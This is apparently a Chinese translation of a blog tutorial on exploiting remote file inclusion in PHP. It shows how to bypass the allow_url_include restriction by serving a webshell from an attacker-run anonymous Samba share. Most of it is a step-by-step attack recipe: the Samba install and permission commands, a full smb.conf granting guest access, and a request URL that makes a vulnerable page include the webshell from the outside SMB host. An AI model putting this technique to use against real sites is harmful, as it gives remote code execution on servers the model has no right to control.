文章来源:http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html


前言

这篇文章我将演示利用远程文件包含(RFI)漏洞的一些技术,用于演示的PHP程序设置为易受"文件包含攻击"。我们的PHP环境配置为不允许从远端HTTP/FTP URL包含文件,但我仍可以绕过远程URL包含的限制,实施利用RFI。

PHP与SMB共享文件权限

PHP配置文件默认设置"allow_url_include"为"Off",限制PHP从远程加载HTTP/FTP URLs,这有效地防止了远程文件包含攻击。但是,即使PHP的"allow_url_include" 和 "allow_url_fopen" 都设置为“Off”,SMB URL也可以加载。通过滥用PHP的这个特性,可以实现从远程主机的SMB共享中加载 PHP webshell。

攻击概述

如果存在缺陷的PHP程序要从攻击者控制的SMB共享加载PHP webshell,SMB共享应当赋予访问该文件的权限。攻击者需配置开启SMB服务器的匿名访问。配置后程序如要访问SMB共享中的webshell,SMB服务器将不会要求提供凭据,从而成功包含webshell。

PHP环境设置

受害者机器应当配置"allow_url_include" 和 "allow_url_fopen" 为“Off”,我使用的PHP版本为"5.5.11":

在正式开始之前,确认代码的确不允许通过HTTP从远程主机读取webshell:

程序抛出错误,尝试RFI失败。

开启SAMBA服务器匿名读取权限(Linux环境)

先安装SAMBA服务器:

apt-get install samba

创建SMB共享目录:

mkdir /var/www/html/pub/

赋予新创建的SMB共享目录权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

移除SAMBA服务器的默认配置文件内容:

echo > /etc/samba/smb.conf

把下面的内容填充到'/etc/samba/smb.conf' :

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes

[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody

重启SAMBA服务器使/etc/samba/smb.conf 的新配置生效:

service smbd restart

重启后,(使用局域网中的另一台主机)尝试访问SMB共享,确认SAMBA服务器不会要求提供凭据。在本例中,SAMBA服务器IP为:192.168.0.3,如需在windows中访问SMB,我需输入: \\192.168.0.3\

添加PHP webshell

OK,我们可以访问SMB共享,即"ica"文件夹。

SMB共享的"ica"目录的真实地址为"/var/www/html/pub",上传一个webshell:

访问\\192.168.0.3\ica\,可以看到马子:

演示

使用包含wenshell的SMB链接作为远程包含的URL:

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php

Duang!成功绕过PHP远程文件包含的限制。

点击收藏 | 2 关注 | 1
登录 后跟帖